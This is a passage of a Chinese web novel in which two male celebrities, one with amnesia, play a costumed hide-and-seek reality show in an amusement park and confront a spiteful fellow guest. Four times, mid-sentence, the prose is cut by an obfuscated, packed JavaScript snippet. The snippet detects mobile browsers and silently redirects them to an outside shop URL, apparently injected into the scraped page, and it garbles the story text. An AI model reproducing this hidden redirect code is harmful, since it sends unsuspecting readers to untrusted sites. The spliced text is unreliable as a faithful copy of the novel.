“更过分的是,甚至在他们在我面前扮演恩爱的时候,我爸还在外面有了别的孩子!”傅予沉愤愤不平。 “哈哈……” “就是你曾提过的,你那个‘傻’弟弟?” “昂”。 “哈哈哈……”江洺笑的停不下来。 傅予沉扑上去挠他,“不许笑。” 江洺抹了抹眼角笑出来的泪花,认真地看向傅予沉,“他们只是不再相爱了,又不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271426|198014||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不爱你了。” 傅予沉哼哼唧唧趴在江洺的肩窝,“我知道,所以我,就大度地……原谅他们了。” 江洺想了想,上次的一面之缘,也能看出来傅予沉与盛安澜关系,确实还算不错。 “那你为什么又选择进娱乐圈?” “那件事之后,我感觉我家有‘演戏’基因,应该由我来发扬光大。” “哈哈哈……” 这个理由脱口而出的片刻,傅予沉自己也微微一愣,当初他的父母,为了“爱”他,做了他讨厌的事情。 ——谎言与欺骗。 可是,现在的他呢?为了“爱”江洺,是不是也正在做自己……曾经讨厌的事?他发现,失忆后下意识带上的“面具”,好像摘不下来了。 “哥哥。” “嗯?” “如果,如果我为了爱你,做了坏事,你会原谅我吗?” 江洺微微一愣,以为傅予沉在隐喻他自己的家庭关系,轻笑一声,带着开玩笑的口吻,开解到,“那要看你有多爱,以及做的事有多坏……” “哥哥!” “嗯。” “你真好!” -- 轻松愉悦的时间总是过得很快,转眼间,就到了《致命心跳》第二期的拍摄时间。 大约是因为上一次,江洺的“恐水症”在节目录制期间,意外被诱导发作,导致了后续江洺病了一场,还因此产生了一系列的连锁反应,以及一系列的麻烦事。 这一次的虞绍格外紧张,节目开始前就像一个操心的老妈子一样,四处打听消息。 出发前两小时,酒店套房变成了临时作战指挥中心。 茶几上摊着游乐园的彩色地图,虞绍用红笔在上面画了几个圈,“这几个是任务点,人流量最大,风险最高。节目组安排的‘巡逻者’有足足一百个,都穿着橙色马甲,很好认。但关键是……”他抬头,看向窝在沙发里的江洺,“直播观众能通过弹幕,实时建议巡逻路线。” 江洺闭着眼,指尖按压着太阳穴。 昨天晚上,傅予沉突然缠着他做,说“必须要哥哥亲口说爱我”才行。 江洺知道,傅予沉是为了在节目录制前,再次加强那位心理医生介绍的“临时锚点”,只挣扎了片刻,也就半推半就的同意了。 上一次的时候,他沉浸在病症中,几乎没能有任何配合,全靠傅予沉的主动靠近与一腔热诚。 这一次,他稍稍主动了点,结果就是那狗东西就像是得到了奖赏一般,兴奋的像是一只摇着尾巴的大型犬,根本停不下来。 然后……毫不意外的,过了火。 他不记得自己在意识昏沉间,重复了多少遍……清醒时绝对说不出口的“爱你”。 只记得,最后昏昏沉沉睡着前,窗外已经泛起了一抹鱼肚白,还有傅予沉那句压抑着的,“哥哥,我好爱你。” -- “规则。”江洺睁开眼,言简意赅。 “用你们之前攒的心动币抽卡,决定初始装扮和道具。每人三次机会,可以‘指定兑换’基础款,但抽卡可能出惊喜——或者惊吓。”虞绍顿了顿,压低声音,“内部消息,卡池里有‘强制事件卡’,抽到必须执行。” 傅予沉坐在地毯上,背靠着江洺的沙发,正低头研究地图。闻言他抬起头,眼神清澈,“哥哥抽到什么,我就配合什么。” 江洺唇角抽了抽,没看他,目光落在窗外升起的太阳上。 看起来,今天是个好天气。 “另外两组嘉宾也会同时进场。”虞绍继续说,“影后苏蔓和作家周明轩那对儿据说状态不错,但夏晴和陆衡那组……”他皱了皱眉,“夏晴昨晚在粉丝群里发了些阴阳怪气的话,暗示自己上节目是‘被迫给某些耍大牌的前辈作配’。他粉丝已经摩拳擦掌,今天直播弹幕恐怕会很难看。” “夏晴?”傅予沉突然开口,“那个……唱跳很差的?” 虞绍噎了一下。 江洺嘴角却几不可查地弯了一下。 傅予沉说得对。 夏晴是近年选秀出来的流量,舞台划水,修音离谱,却靠着甜美人设和粉丝经济混得风生水起。半年前一次音乐盛典后台,江洺实在看不下去他敷衍的彩排,当着几个工作人员的面说了句“基本的节拍都踩不准,不如回去练练基本功”。 这话不知怎么传了出去,被夏晴团队渲染成“江洺职场霸凌新人”,闹上热搜,最后还是天音出面压了下去。 “就是他。”虞绍叹气,“总之,这人可能会在游戏里使绊子,你们小心。” 25. 换装游乐园一 门铃响了。 节目组的人推着设备进来,架好直播镜头,递给两人一个平板。屏幕上是一个花哨的扭蛋机界面,标注着“心跳扭蛋机·命运换装”。 直播信号在瞬间切入。 弹幕如潮水般涌来: 【来了来了!游园会开始!】 【江洺看起来好疲惫……昨晚没睡好吗?】 【傅予沉坐地上好乖啊awsl】 【夏晴宝宝已经在路上了!期待晴宝大杀四方!】 主持人丁明志的声音通过设备传来,“欢迎二位!规则都清楚了吧?现在,请轮流点击屏幕,抽取你们的‘命运装扮’!请注意,抽到的装扮在进入游乐园、完成任务前,将对所有观众和巡查工作人员保密!只有你们自己知道彼此的模样。最后的惊艳——或惊吓,让我们共同期待!” 【保密。】 江洺心里泛起嘀咕,节目组又有什么幺蛾子? “哥哥先抽。”傅予沉把平板往他这边推了推。 江洺没推辞,手指点向屏幕。扭蛋机轰隆隆转动,彩灯闪烁,最后“咔哒”一声,掉出一个银色的蛋。 蛋壳裂开,浮现卡片: 【伪装卡·基础款】 物品:棒球帽、眼镜、普通卫衣牛仔裤套装。 效果:大众脸路人装,隐蔽性高,行动方便。 很安全。 江洺正要点击确认,屏幕突然又弹出一行闪烁的金色大字: 【检测到隐藏幸运值!触发二连抽机会!是否继续?】 跟组的副导站在一旁,没忍住笑了一声,“隐藏机制!江老师手气可以啊!一发命中!” 江洺犹豫了一秒,理智告诉他该见好就收,但又莫名有点好奇,犹豫片刻……他点了“是”。 扭蛋机再次疯狂转动,这次的时间更长。 最后,一个泛着诡异粉紫色光芒的蛋掉了出来。 蛋壳碎裂的瞬间,整个直播间的特效都炸开了。 【事件卡·镜花水月】 品质:传说(强制执行)。 描述:请前往指定化妆间,换上为您量身定制的‘绝世舞伶’套装,装扮将持续至游戏结束。 跟组副导用眼神示意了一下旁边的跟拍的摄影师,摄影师了然,将镜头暂时转开。 江洺没有注意到这点小动作,双眼闭了闭,才落在平板上。 不是幻觉。 画面旁边,甚至出现了一个3D旋转的服装预览——那是一套改良旗袍,月白色缎面,绣着银色的暗纹,领口和开衩的设计含蓄而曼妙,配着同色系的长假发和精致的妆容示意图。 美得惊心动魄,也荒唐得令人窒息。 -- 弹幕在短暂空白后,彻底爆炸。 虽然直播间并没能看到衣服的细节,但也从“绝世舞伶”的名字上猜到了几分, 【??????】 【女装?!!节目组玩这么大?!】 【我靠‘绝世舞伶’……江洺穿肯定美炸了!!!】 【但这是强制卡啊!不穿会怎样?】 【楼上,规则写了,强制卡不执行直接算三次暴露,出局。】 江洺盯着屏幕,血液仿佛瞬间冲上头顶,又迅速褪去,留下一片奇异的“羞耻”与抗拒。 入圈这么多年,他从未尝试过女装,也从未想过,他还有必须在公众面前……穿女装……的时刻。 ——还真是,《致命心跳》啊。 “江老师,请遵守规则哦。”丁明志的声音带着掩饰不住的兴奋,“化妆师已经在隔壁房间等候,您有十五分钟准备时间,在此期间,直播镜头将暂时关闭,保护您的‘初始神秘感’。” 直播画面切到了节目组的等待界面,但弹幕还在疯狂刷屏。 【啊啊啊,期待!】 【节目组真的很敢诶,洺哥你要是被绑架了就眨眨眼?】 【恕我阴谋论了,上次是“海”,这次是“女装”,这节目是故意针对洺哥吧???】 【洺哥最近热度太高,动了谁的蛋糕?!】 【应该不是吧,据说节目本来准备的是《荒岛求生》,都为了洺哥临时改了,应该只是巧合?】 【希望节目组好好保护洺洺!】 -- 江洺还没有说话,虞绍第一个跳起来,“我去找导演!这太过分了!这涉及艺人形象——” “不用。”江洺打断他,声音出乎意料的平静。 他太了解这个圈子的规则了,签了合同,抽了卡,这就是“游戏效果”,反抗只会留下耍大牌的话柄,正中某些人下怀。 况且,在星耀参与沟通后,他可以暂且相信节目组没有恶意,他只是单纯的运气没有那么“好”而已。 他站起身,看向傅予沉。 傅予沉也站了起来,他脸上没有惊讶,没有戏谑,只有一种全然的专注与担心。 他走到江洺面前,低头看着他,声音很轻,“哥哥,你穿什么都很好看。” 江洺喉结滚动了一下。 “不过”,傅予沉眉头微微蹙起,像在思考一个严肃的问题,“如果哥哥害怕的话,我可以,陪你……一起。” 江洺看着眼前的人,傅予沉的面容是一种棱角分明,富有攻击性的俊美,只不过现在失忆状态的他,因为清澈的眸光,柔和了许多攻击性,显得整个人更加地浓稠绮丽…… 他忍不住幻想了一下傅予沉一身女装的模样,如果适合他的女装是“绝世舞伶”,那么适合傅予沉的女装应当是“倾世皇妃”。 ……带着一种骨子里透出的骄矜肆意,富贵华美。 想到这里,江洺忍不住勾了勾唇角,那颗因为羞耻和抗拒而狂跳的心,忽然奇异地落回实处,“你还没抽卡呢,别乌鸦嘴。” “哦”。 “噗嗤”,看着突然显得有些垂头丧气的傅予沉,江洺还是没忍住笑了,他微微垫脚,靠近傅予沉的耳侧,压低声音,“乖,你想的话,可以回去穿……只给我看。” 感受着耳畔的温热吐息,在还没有反应过来江洺说了什么之前,傅予沉就先下意识点了头,“嗯!” 片刻之后,他脸上才后知后觉的浮起一层嫣红。 -- 因为没有换装,江洺还没有带耳麦。 直播间里只能看到江洺的靠近,以及傅予沉骤然红了的脸庞,却听不到他们说了什么,急的上蹿下跳。 【啊啊啊,他们说了什么,是我们VIP不能听的?】 【是调/情吧?是吧?是吧?傅哥的脸都堪比那熟透的小龙虾了。】 【啊啊啊,江哥糊涂啊,趁他失忆,让他穿!让他立刻马上穿!】 【观音菩萨,如来佛祖,玉皇大帝……伟大的主,信女愿十年荤素搭配,求傅予沉也抽到‘女装’卡!】 【楼上的,没见过这么连吃带拿的!】 【KSWL,这就是爱啊!】 …… 十五分钟,足够他把那个叫“江洺”的男性顶流歌手暂时锁进衣柜,然后释放出另一个连自己都感到陌生的存 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285135|198014||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在。 化妆间的门再次打开时,等在外面走廊的傅予沉和节目组几个工作人员,呼吸都停滞了一瞬。 走出来的人,身姿挺拔依旧,却被那身月白旗袍勾勒出截然不同的线条。假发是及腰的微卷长发,几缕银丝挑染,妆容并不浓艳,只是恰到好处地加深了眉眼轮廓,点绛了唇色,却硬生生将那份属于男性的清冷,淬炼成一种惊心动魄的、雌雄莫辨的瑰丽。 他手里还拿着一个配套的、带薄纱的宽檐帽,此刻正垂着眼,长长的睫毛在眼下投出一小片阴影,看不清情绪。 一个女性工作人员没忍住,倒吸了一口凉气,小声对同伴说,“这……这真是能播的吗?” 江洺听到了,但他没抬头。 他只是走到傅予沉面前,终于抬起眼。 傅予沉就那样看着他,看了很久。眼神里翻涌着复杂的情绪,惊艳、震撼、然后是一种更加沉重的、近乎本能的保护欲。他喉结滚动了一下,然后毫不犹豫地脱下了自己身上的浅色休闲外套,上前一步,轻轻披在江洺肩上。 外套还带着傅予沉的体温,很大,几乎将江洺整个裹住,也盖住了旗袍最勾勒身形的部分。 “这样好一点。”傅予沉说,声音有些哑。他伸手,极其自然地帮江洺把假发理了理,指尖不经意擦过他的耳廓。 江洺颤了一下。 “别怕。”傅予沉低声说,只有他们两人能听到,“真的,很漂亮。漂亮到……我恨不得立刻找个地方,把哥哥藏起来。” “……直到这期节目录制结束。” 感受着那话语中带着毫不掩饰的占有欲,江洺紧绷的肩膀,几不可查地放松了一丝,心中的忐忑渐渐平息,取而代之的是——一种奇异的安心。 -- 直播镜头重新开启。 “现在,请傅予沉老师抽取你的装扮!”丁明志的声音再次响起。 傅予沉点击屏幕。 他的运气很平稳,抽到了一套街头涂鸦风卫衣套装,配一个能遮住半张脸的黑色口罩和鸭舌帽,很潮,很融入年轻人群体,行动也方便。 换装很快,再出来时,傅予沉已经是一身oversize的黑色卫衣,破洞牛仔裤,鸭舌帽压得很低,口罩遮面,只露出一双锐利沉静的眼睛。 他走到江洺身边,两人站在一起,风格迥异,却因傅予沉那件披在江洺肩上的外套,显出一种诡异的和谐来。 “很好!”丁明志说,“现在,游戏正式开始!专车将送二位前往‘星梦游乐园’。记住,你们的模样彼此知晓,但对整个世界保密!在人群中隐藏自己,完成任务!祝你们好运!” 车门关上,将世界隔绝在外。 车厢里只有他们两人,和一个提前布置好的固定摄像头。 车子启动,驶向那座即将挤满周末人潮的游乐园。 江洺靠着车窗,看着外面飞速倒退的街景,帽檐的薄纱随着车辆微微晃动,像是隔开他与外界的一层雾。 忽然,一只手伸过来,轻轻握住了他放在身侧、微微蜷起的手。 傅予沉的手很热,掌心有薄茧。 “哥哥,”他看着前方,低声说,“不管你变成什么样子。” 他顿了顿,手指收拢,将江洺微凉的手完全包裹住,“我都会一直在你身边。” “是吗?”江洺笑了笑。 【哪怕你恢复记忆,发现一切都是一场戏?】 但他没问出口。 因为他想要的,不是来自面前这个——失忆的傅予沉的,答案。 26. 换装游乐园二 星梦游乐园的周末人潮如织,像一锅煮沸的彩色糖果。 穿着洛丽塔裙装的少女挽着吸血鬼伯爵coser的胳膊笑闹而过,几位全副武装的机甲战士在冰淇淋摊前排着队,更远处攒动的人群中,还能看到巫师袍和精灵耳朵。 江洺一下车,就被这片喧嚣的人潮吞没了声音。 他压低帽檐,薄纱随着动作轻晃,视线被过滤成一片朦胧。 傅予沉的外套裹在身上,带着对方的体温和一丝草帽的甜香,奇异地中和了旗袍布料贴在皮肤上的陌生感。 “人好多,哥哥跟紧我。”傅予沉的声音在耳边响起。 他已经戴上黑色口罩,帽檐下的眼睛警惕地扫视着周围,身体自然地侧移半步,将江洺护在靠建筑的一侧,隔开了大部分人流。 第一个任务提示通过隐藏的耳麦传来:“请前往‘奇幻旋律’旋转木马,在木马转动期间,于马背上完成一次对视,并拍下对方带笑的照片。限时二十分钟。” 弹幕此刻应该正疯狂刷新着猜测他们位置和装束的言论,而穿着橙色马甲的节目组“巡逻者”们,也像猎人一样混迹在人群中,目光如炬地扫描着每一个可疑的身影。 混在coser人群中的好处是,他们并不突兀。 坏处是,真正的粉丝或眼尖的路人,可能从身形、步态甚至一个习惯性动作就认出他们。 江洺深吸一口气,努力忽略旗袍下摆随着步伐产生的轻微摩擦感,以及假发披在肩上的重量,他必须集中注意力。 “旋转木马在东南角,穿过中央广场最快。”傅予沉低头查看手环上的任务地图,另一只手极其自然地牵住了江洺的手,“走。” 掌心相贴的瞬间,江洺指尖微颤。 像是被一束细小的电流扫过,带着……陌生的,他从未体会过的安心。 傅予沉的手干燥有力,拉着他汇入人流。 -- 中央广场有一个巨大的音乐喷泉,水柱随着交响乐节奏起伏,在阳光下折射出彩虹。 江洺的脚步几不可查地顿了一下。 上一期的密室还是留下了“后遗症”,仅仅是看到大片水光,听到哗哗水声,胃部就条件反射地传来一丝熟悉的抽搐。 但现在,又和密室那次不同,这次他没有窒息感,没有幻听。他清晰地知道自己站在干燥的地面上,身边是傅予沉稳稳握着他的手。 恐惧还在,但被隔开了。 像隔着玻璃看一场暴风雨。 傅予沉立刻察觉,侧头看他,眼神询问。 江洺摇摇头,示意没事,主动加快了脚步。穿过广场时,他甚至强迫自己朝喷泉方向瞥了一眼——水珠四溅,孩子们在边缘嬉笑。 他只是心跳快了些,手心出了点汗,仅此而已。 这是,好转的迹象。 穿过广场后,傅予沉握着他的手,轻轻捏了一下,像是一个无声的肯定。 弹幕如果有上帝视角,此刻大概会尖叫。 但他们只看到两个穿着“奇装异服”的游客匆匆穿过人群,一个高挑挺拔,一个身姿修长、头戴着纱帽,手牵着手,像游乐园里无数对普通情侣一样。 旋转木马区域弥漫着梦幻的八音盒音乐和糖果香气。 木马正在转动,上面坐着欢笑的孩子和摆拍的情侣。 “我们等下一轮。”傅予沉拉着江洺站到排队区的阴影里,目光扫过几个在附近游荡的橙色身影,“上去后,你坐里面那匹白的,我坐你外侧。木马转到背对主入口的方向时,任务要求的对视只有三秒机会。我会倒数。” 失忆的傅予沉在策略和执行力上,依然保留着某种惊人的天赋。 江洺点头,目光却落在旋转木马中央的立柱上——那里装饰着彩色灯泡和海浪般的雕刻花纹。又是“海”的意象,他盯了片刻,慢慢移开视线。 下一轮音乐响起,傅予沉付了钱,护着江洺上了木马。江洺侧身坐上白色木马,旗袍开衩处露出一截白皙的小腿,他下意识想拉傅予沉的外套下摆遮掩,傅予沉却已经跨坐上他旁边那匹黑色的骏马,身体微微倾斜,恰好用自己挡住了大部分可能投向江洺的视线。 木马开始起伏、旋转。 彩灯流转,音乐欢快。江洺抓着冰冷的金属杆,感觉自己像个荒谬的梦境参与者,纱帽下的视野随着木马起伏摇晃,他看见傅予沉回过头,黑眸隔着短短的距离锁定他,口罩上方,那双眼睛在斑斓灯光下显得格外深邃。 “三。”傅予沉无声地做了个口型。 江洺抬起头,隔着薄纱迎向他的目光。 “二。” 木马转向,将背后的人群和巡逻者暂时隔绝。世界仿佛只剩下他们两人,随着童真的旋律缓慢旋转。 “一。” 江洺抬手,用节目组提供的拍立得,对准了傅予沉。几乎在同一瞬间,傅予沉拉下了口罩,朝他露出了一个笑容。 那是一个纯粹的笑容,眼睛弯起,带着完成任务的笃定,还有一丝……近乎宠溺的温柔。 江洺感觉自己的心跳,因为这个笑容……快了一拍,他没有犹豫,按下了快门。 “咔嚓”,轻响被音乐淹没,照片缓缓吐出。 木马转回面向人群的方位,傅予沉瞬间戴回口罩,恢复成守护者姿态。 江洺快速将拍立得照片收好,心脏却还在为刚才那个短暂的笑容狂跳。 他心中莫名有种感觉,那个笑容里,有什么东西不一样了。 像是冰层下的溪流,终于找到裂缝,涌出一丝真实的温度。 又或许是,他只是太害怕那一刻过早的到来。 -- 就在他们准备下马时,一个清脆活泼的声音在附近响起,“哇!那边的黑色木马小哥哥好帅!小姐姐也超有气质!是专业coser吗?可以合影吗?” 江洺身体一僵,透过薄纱,他看见几个年轻女孩正举着手机朝这边跑来,眼神发亮。更糟糕的是,一个橙色马甲的巡逻者似乎也被这边的动静吸引,正朝这边张望。 暴露风险激增。 傅予沉反应极快。他先一步翻身下马,然后伸手,直接揽住江洺的腰,将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17289893|198014||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他半抱了下来。动作流畅自然,像极了体贴的男友。 “抱歉,”傅予沉开口,声音透过口罩有些闷,带着恰到好处的疏离笑意,“我女朋友不太舒服,我们得先走了。” 他一边说,一边用身体挡住江洺,迅速挤进了旁边纪念品商店的人流中。 整个过程不超过一分钟。 直到躲进商店深处毛绒玩具的货架后面,江洺才稍微松了口气,后背紧贴着傅予沉的胸膛,能感觉到对方同样有些急促的心跳。 方才那一刻,他们不像是来正经录制节目的,反倒是像他们本来的身份……顶流与影帝,在某个阳光正好的下午,在这个人潮如织的游乐园里,“偷情”。 “刚才……”江洺开口,声音有些干。 “没事了。”傅予沉低声说,手臂还环在他腰上,没有立刻松开。他微微低头,气息拂过江洺帽檐的薄纱,“照片。” 江洺拿出那张照片。 照片上,灯光迷离,傅予沉拉下口罩的笑容清晰可见,而戴着纱帽的江洺只有一个朦胧的侧影。 手腕上的心率记录界面一闪,取而代之的是一行小字,“任务完成,总心动币+1800。个人贡献度评估中……” 个人贡献度,江洺盯着那五个字,所以,这是一个合作的任务,却又是某种意义上的‘个人战’。 拍立得照片在掌心微微发热,背面那行“个人贡献度评估中……”的小字,像投入平静湖面的一粒石子,在江洺心头漾开一丝微不可查的涟漪。 个人战?想以此挑动他们之间的关系,碰撞出更多的火花?节目组这次恐怕要失算了。 江洺看向傅予沉,那双漂亮的眼瞳里,装的满满地都是自己的倒影。 “哥哥,怎么了?” “没事。” -- 手环震动,新任务提示刷出: 【心跳任务:至高点的宣誓】 内容:前往‘星空摩天轮’,在升至最高点时,接吻10秒。 要求:必须捕捉到双方清晰侧脸。 奖励:成功获得“地图特权”15分钟,可查看所有工作人员实时位置,及解锁一条关于“最终宝藏”的关键线索。 失败惩罚:暴露坐标,将有三名工作人员被直接引导至摩天轮出口围堵。 限时:30分钟。 在镜头下,在摩天轮的最高点接吻,十秒。 江洺薄纱后的睫毛颤了颤,有种自己私藏的真心,要被昭告天下的颤栗,分不清,是恐惧,还是期待。 或者说,是兴奋。 傅予沉已经快速分析起来,“地图特权很重要,能避开很多风险。摩天轮在西北角,常规路线人多眼杂。我们沿外围景观道绕行,虽然多花五分钟,但巡逻者少,而且……” 他顿了顿,看向江洺,眼神清澈直接,“那边没有大型水景,哥哥走起来更安心。” 他又注意到了,这种细致入微的体察,每次都让江洺心头微暖。 “好。”江洺点头,悄悄伸手……靠近了傅予沉垂在身侧的指尖。 27. 换装游乐园三 傅予沉很自然的握住了江洺伸来试探的指尖,没有一丝迟疑,两人像普通情侣一样牵着,十指相扣,自然地融入人群,悄然拐入僻静小径。 而江洺,感觉自己像是一个小偷,偷偷心动,偷偷沉溺。 偷偷告诉自己,就这样……享受当下,这一刻,就好。 午后阳光透过树叶缝隙洒下,在两人脚下晃动着光斑,他们不像是在参与一场紧张的游戏,反而像是那些普通的情侣一般,携手度过一段静谧美好的时光。 -- 快到摩天轮时,排队的人群已成长龙,两人正要低调融入队尾,那道甜腻做作的声音便阴魂不散地响起,“呀!真巧!这不是……江洺老师吗?哦,看我,差点没认出来,该叫‘江姐姐’才对?” 夏晴和陆衡出现在不远处。 他们是节目组邀请的另外一组嘉宾,因为上次在海洋馆的录制,全程都是双人任务,他们几乎没有碰面。 《致命心跳》的录制也算是别具一格,都是常驻嘉宾,到了第二期,竟然才是他们的第一次见面。 夏晴脸上挂着无懈可击的“惊喜”笑容,目光却像刷子一样在江洺身上来回扫视,尤其在旗袍开衩处流连,恶意几乎不加掩饰。 “江‘姐姐’这身真是太拼了,为了节目效果什么都敢穿呀?看来上次是我误会江老师了,江老师不是对人‘要求严’,是对自己也特别能‘豁得出去’呢。” 旧事重提,周围的视线汇聚过来。 江洺身体瞬间绷紧,薄纱下的唇抿成一条直线。 什么意思?这人以为他如今披着一层‘绝世舞伶’的‘皮肤’,就变得好欺负了?他正要反唇相讥。 然而,挡在他身前的傅予沉,却先一步开口了。 他微微侧身,将江洺完全护在身后阴影里,帽檐下的目光笔直地刺向夏晴,“道歉。” 傅予沉的声音不高,甚至没什么起伏,却带着股难以抗拒的压迫感。 夏晴一愣,似乎没料到傅予沉如此直接,强笑道,“傅老师,我只是开个玩笑……” “玩笑?”傅予沉打断他,向前踏了半步。 他个子高,即使穿着宽松的卫衣,逼近时带来的压迫感也让夏晴下意识后退了半步。“你刚才的言辞,已经构成对他人形象的恶意贬损,和性暗示骚扰。根据《治安管理处罚法》和节目组相关声明,我要求你——现在,立刻,向江洺道歉。” 他的措辞严谨,语气冰冷强硬,完全不像失忆后那个思维简单直白的傅予沉,反而透出一种久居上位、不容置喙的威严。 夏晴脸色发白,求助似的看向陆衡。 陆衡推了推眼镜,上前一步,试图打圆场,“傅老师,晴晴年纪小,口无遮拦,没有恶意……” “陆教授,”傅予沉目光转向他,锐利如刀,“你是心理学专家。那你应该看得出,他刚才的眼神、语调、肢体语言,哪一点符合‘玩笑’或‘无心’?这是标准的贬低型攻击,意图通过羞辱他人来获取优越感和关注。如果这是你学术研究中的案例,你会怎么定性?” 陆衡被噎住,镜片后的目光闪烁。 周围的窃窃私语声更大了,不少人开始举起手机。 一个橙色马甲的巡逻者也注意到了这边的骚动,正快步靠近,相机镜头已经抬起,目标显然是引起骚动的人群。 夏晴慌了神,眼看镜头就要捕捉到他惊慌失措的正脸,他之前已经因为失误被判定了二次暴露,这次一旦被判定暴露,他将被直接终止本期后续任务环节录制,只能在最后的环节露一下脸!这可是他花了很大代价,才换来的曝光机会! 就在这时,傅予沉动了。 他摘下口罩,向着远处巡逻组挥了挥手,仿佛在说,‘看,你要找的目标就在这里’。 “咔嚓!”快门声清晰响起。 巡逻者手腕设备亮起绿灯。 ——识别成功,傅予沉,暴露计数+1。 ——识别成功,夏晴,暴露计数+1。 ——识别成功,陆衡,暴露计数+1。 巡逻者一愣,显然没料到会‘一箭三雕’,但判定成功,他立刻上报。 而傅予沉已经迅速压低帽檐,在夏晴和陆衡目瞪口呆、巡逻者尚未完全回神的空档,一把拉住江洺的手腕,声音短促有力,“跑!” 他没有再看夏晴一眼,仿佛刚才那场对峙和随后的“意外”暴露,只是为了扫清障碍、带走江洺的必要步骤。 干净利落,毫不拖泥带水。 -- 【哈哈哈,傅哥这招高明啊,以一换二,划算。】 【夏晴什么意思?洺洺这身不是节目组要求的吗?】 【就是就是,何意味?敬业还要被嘲讽?】 【就小心眼呗,当年被我们洺洺教育了,至今还念念不忘呢……看来是真的记忆深刻了。】 【教他道理也算是霸凌的话,那我班主任岂不是霸凌了全班?】 【白眼狼!】 【呵,全天下就你们洺洺唱跳好呗,求他教了?不乐意听不行?】 【行啊,你家正主有什么作品,说来听听呗?】 【啊啊啊,你们吵到我嗑CP了!】 【是啊是啊,你们不觉着傅哥拉着洺洺跑那一幕很美吗?】 【Y1S1,微风掀起薄纱,他们在奔向幸福!像拍婚纱照,嘿嘿……】 【跟着劳斯,我又多嗑了五毛的!】 -- 江洺被傅予沉拉着,几乎是脚不沾地地跟着他脱离人群,几个急转弯,钻进旁边一间飘着浓郁焦糖香气的爆米花店后门。 狭小的操作间里,机器轰鸣,暂时隔绝了外界。 背靠着冰凉的不锈钢操作台,江洺微微喘息着,平复着狂乱的心跳。 傅予沉的额角也有细汗,显然刚才一同“逃跑”也累的不轻,但他的眼神亮晶晶的,停下来第一时间就看向江洺,像是在寻求夸奖,“嘿,刚才怎么样?帅吧!” 江洺点头,“你,你刚才……” 他想问傅予沉为什么那么做,为什么自然地就站在他的面前,要求夏晴道歉。 “哥哥,我信你”,傅予沉却是完全理解错了方向,他抬手,用指腹极轻地蹭掉江洺脸颊边一缕被汗沾湿的假发,语气认真,“当初的事情,肯定是他的错!况且,他说话难听,看你的眼神也讨厌,让他道歉是应该的。” 他顿了顿,看了一眼手环上显示的【暴露次数:1/3】,眉头都没皱一下,“用一次暴露机会,让他彻底闭嘴,还能顺便搅乱他们那边的节奏, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294434|198014||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很划算。最重要的是……” 他看向江洺的眼睛,目光纯粹得没有一丝杂质,“哥哥,不用再听到那些难听的话。” “划算”,在他那里,保护江洺的情绪和感受,永远是最高优先级,为此付出任何代价都“划算”。 他甚至没考虑过这是一个节目组设置的个人战,暴露一次对他自己的不利,没考虑过所谓的积分或排名。 傅予沉不记得当初的事情,但是无条件的相信他。 在傅予沉的所有谋划中,仿佛“江洺”永远在首位。 重要的,只有“江洺”的感受。 江洺感觉心脏像是被温热的水流包裹,酸胀得厉害。他移开视线,转移话题,“任务时间不多了。” “嗯。”傅予沉立刻进入状态,查看手环地图,“摩天轮那边现在肯定增加了巡逻者。我们绕到后面,从员工通道的紧急出口试试,那边通常监控少,我刚才过来时留意到了位置。” -- 两人利用爆米花店的后巷和小路,有惊无险地迂回到摩天轮后方。傅予沉说的紧急出口果然存在,且暂时无人看守。他们迅速进入,沿着狭窄的维护楼梯向上,直接来到了摩天轮上层平台,把节目录制的卡片交给工作人员验证。 工作人员确认卡片之后,默认了他们走了‘VIP’通道。 当某个空轿厢缓缓转到平台旁时,傅予沉护着江洺,敏捷地跨了进去。 轿厢攀升,世界骤然安静,远处人群的喧嚣被隔绝在外,只有机械运行的细微声响和彼此近在咫尺的呼吸。 江洺抬手,缓缓摘下了薄纱帽,露出了那张堪称绮丽的面容,他看向傅予沉。 